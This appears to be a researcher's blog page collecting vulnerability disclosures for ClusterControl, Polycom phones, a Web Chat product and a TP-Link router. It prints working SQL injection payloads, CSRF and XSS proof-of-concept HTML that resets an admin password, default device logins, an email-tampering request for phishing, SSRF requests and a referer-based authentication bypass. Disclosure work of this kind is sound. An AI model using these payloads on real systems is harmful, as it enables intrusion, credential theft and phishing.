Matt Landers

Product:                          ClusterControl
Manufacturer:               Severalnines (https://severalnines.com/)
Version:                          Controller: 1.9.0.4710, Frontend: 1.9.0.8008-#97ddd4
Vulnerability Type:        Improper Authorization, Authenticated SQL Injection
Manufacturer Notification:  8/9/2021
CVE Reference:              TBD
Author of Advisory:       Matt Landers, mattjoeland@gmail.com
——————————————————-

Product Overview:
The ClusterControl Community Edition is a free-to-use, all-in-one database management system that allows you to deploy and monitor the top open source database technologies like MySQL, MariaDB, Percona, MongoDB, PostgreSQL, Galera Cluster and more.

Vulnerability Details:
An authenticated SQL injection was detected within the “hostname” and “sender” parameters of the below request.  
Using the default configuration there are two levels of authentication available in the web ui, ‘admins’ and ‘users’.  The Post request below is supposed to only be available to the ‘admins’ level accounts.  However, when we replace the ‘admins’ cookies in the request with a ‘users’ cookies it still completes the request and the subsequent sql injection.
This allows a lower-level user to perform a sql injection through the web ui and elevate privileges by accessing all databases, etc.

I would like to congratulate Severalnines on their stellar time to fix with this issue.
——————————————————-

Example Request:

POST /clustercontrol/access2/settings?clusterid=0&operation=set_mailserver HTTP/1.1
Host: x.x.x.x
Content-Length: 133
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://x.x.x.x
Referer: http://x.x.x.x/clustercontrol/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=GA1.1.16598096.1628429909; _gid=GA1.1.2049508896.1628429909; PHPSESSID=redactednumbersletters; CakeCookie[expire]=August%2010%2C2021%2008%3A12%3A24; CakeCookie[clone_cluster_check]=N; CakeCookie[ping_home]=Y; _gat=1
Connection: close
{“smtp_server”:{“hostname”:”testhostname”,”password”:” testpassword “,”port”:356,”sender”:”testuser@test.com”,”use_tls”:false,”username”:”testuser”}}
——————————————————-

SQL Injection POC:
    Type: boolean-based blind
    Title: MySQL AND boolean-based blind – WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)
    Payload: {“smtp_server”:{“hostname”:”132222′ AND ELT(4360=4360,1371) AND ‘nJWW’=’nJWW“,”password”:”testpassword”,”port”:356,”sender”:”testuser@test.com”,”use_tls”:false,”username”:”testuser”}}

    Type: error-based
    Title: MySQL >= 5.6 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: {“smtp_server”:{“hostname”:”132222′ AND GTID_SUBSET(CONCAT(0x7171707171,(SELECT (ELT(8091=8091,1))),0x71766a6a71),8091) AND ‘vlLg’=’vlLg“,”password”:” testpassword “,”port”:356,”sender”:”testuser@test.com”,”use_tls”:false,”username”:”testuser”}}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {“smtp_server”:{“hostname”:”132222′ AND (SELECT 3557 FROM (SELECT(SLEEP(5)))paGr) AND ‘HCFD’=’HCFD“,”password”:” testpassword “,”port”:356,”sender”:”testuser@test.com”,”use_tls”:false,”username”:”testuser”}}

——————————————————-

Disclosure Timeline:

• 08-08-2021: Vulnerability discovered
• 08-09-2021: Vulnerability reported to manufacturer
• 08-15-2021: Patch released by manufacturer
• 08-16-2021: Public disclosure of vulnerability

——————————————————-

References:

https://severalnines.com/product/clustercontrol/clustercontrol-community-edition

https://support.severalnines.com/hc/en-us/articles/212425943-ChangeLog

This gui seems to be similar or the same to the soundpoint, Most Post requests seem vulnerable to csrf.  I can just take out the cookie login/pass that is in each request and craft a csrf.  For example the following is a csrf example that changes the admin password and turns on telnet.  This works for the VVX model however the same csrf did not work for the soundstation and soundpoint.

<html>
  <!-- Polycom VVX 5.9.1.0615 CSRF - Changes Admin pass to 123456. Also turns telnet on, login Polycom/123456 -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/192.168.128.11\/form-submit\/Utilities\/configuration\/importFile", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------402251386101268401375671906");
        xhr.withCredentials = true;
        var body = "-----------------------------402251386101268401375671906\r\n" + 
          "Content-Disposition: form-data; name=\"myfile\"; filename=\"polycomtelnet.cfg\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3cdevice device.set=\"1\"\x3e\n" + 
          "\x3cauth device.auth.localAdminPassword.set=\"1\" device.auth.localAdminPassword=\"123456\"/\x3e\n" + 
          "\x3ctelnet diags.telnetd.enabled=\"0\"\x3e\x3c/telnet\x3e\n" + 
          "\r\n" + 
          "-----------------------------402251386101268401375671906--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


This sends a file called polycomtelnet.cfg which basically looks like this.

<device device.set="1">
<auth device.auth.
<telnet diags.telnetd.enabled="0"></

This is a Post Xss via csrf that both the newest firmware of soundstation and soundpoint are vulnerable to.  Given the simple Cookie: Authorization= having cookies exposed can make this easy to convert from base64.

<html>
  <!-- Post XSS via CSRF on Soundstation IP 5000 & SoundPoint IP 335 UC ver 4.0.14.1388  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.128.17/form-submit" method="POST">
      <input type="hidden" name="250:1" value=""><Script>alert(document.cookie)</Script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Most of these devices come with default logins: user/123 admin/456 . However if the company setting these up has changed them these csrf vulnerabilities could be useful.

Product: Web Chat versions 6.1.300.31, 6.2.284.34 and possibly others
Researcher: Matt Landers – mlanders@lucidcoast.com

Issue 1: Cross Site Scripting (XSS)

versions 6.1.300.31, 6.2.284.34 and possibly others

CVE-2019-16950

The “QueueName=” function shown in the Get request below allows for insertion of user supplied javascript. An example of the cross site scripting payload is shown below in a screenshot.

Proof of Concept:
 Copy and paste the following payload in to your web browser, edit the request to insert
 the name of the domain you would like to test.

 http://example.com:8088/webChat/Main.aspx?
 QueueName=CHAT48809%22%3balert(document.cookie)%2f%2f572

Issue 2: Email tampering
Version 6.1.300.31

CVE-2019-16949

A user of the web chat software is allowed to send an archive of their chat log to an email address specified at the beginning of the chat where the user enters in their name and email. This Post request can be modified to change the message as well as the end recipient of the message as seen below.

The email will have the same domain name and user as the web chat is allotted. This can be used in phishing campaigns against users on the same domain.

Proof of Concept:
 POST /WebChat/Chat.asmx/EmailTranscript HTTP/1.1
 Host: redacted.com:8088
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101
 Firefox/67.0
 Accept: /
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://redacted.com:8088/webChat/Main.aspx?QueueName=CHAT
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 217
 Connection: close
 Cookie:
&ToEmail=victim@victim.com&Message=Click on this link for your refund!
 &WebServiceLocation=http://localhost:8088/WebService/

Issue 3: Server Side Request Forgery / Remote File Include

Version 6.1.300.31 is vulnerable to server side request forgery

CVE-2019-16948

In this instance, any post request we are able to replace the port number (8088) with a range of ports to determine what is visible on the internal network as opposed to what general web traffic would see on the web chat host.

The response from open ports is different than closed ports as shown in the following screen shot. The web chat software does not allow us to change protocol so anything besides http(s) will throw an error, however it is the type of error that we are seeing in the following screen shots that allows us to determine if a port is open or not.

 Proof of Concept:
 POST /WebChat/General.asmx/DeleteDataPushFilter?UserSessionID=
 &filterName=WebChatTracker HTTP/1.1
 Host: redacted.com:8088
 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101
 Firefox/67.0
 Accept: /
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://redacted.com:8088/webChat/Main.aspx?QueueName=CHAT
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 43
 Connection: close
 Cookie: 
 WebServiceLocation=http://localhost:8085/WebService/

Version 6.2.284.34 is vulnerable to remote file include

CVE-2019-16951

I have included this as part of Issue 3 as I believe they are related.
Specifically with this version of the web chat software we were able to replace the localhost attribute with our own domain name. When the web chat server calls our domain after the Post request is sent, it retrieves our data and displays it.

Also worth mentioning is the amount of information sent in the request from the web chat server, to ours, reveals information the public should not have. This includes path names and internal ip addresses. See the screen shot below for examples.

The TPLink tl-wr802n version 4.0 is vulnerable to authentication bypass via altering the referrer attribute.

I did not realize that this vulnerability had been previously disclosed except that the model mentioned above was not included or known about in the initial report.  I am linking to securelayer7’s finding first so that you can read it.

http://blog.securelayer7.net/time-to-disable-tp-link-home-wifi-router/

I really wanted to like this device but I couldn’t make myself use it in a public setting.  That being said tplink was very fast in providing a beta firmware for me to try which fixed the issue with this specific model.

As this vulnerability has been covered in depth, I will just provide the request screenshots of the Authenticated, Unauthenticated, and Bypass in Burp.

Authenticated

Unauthenticated

Next all that is required is to add the Referer: http://192.168.0.1/mainFrame.htm to the request and you will be allowed access to most functions, again check securelayer7’s post about this as it has been tested in depth.

Bypass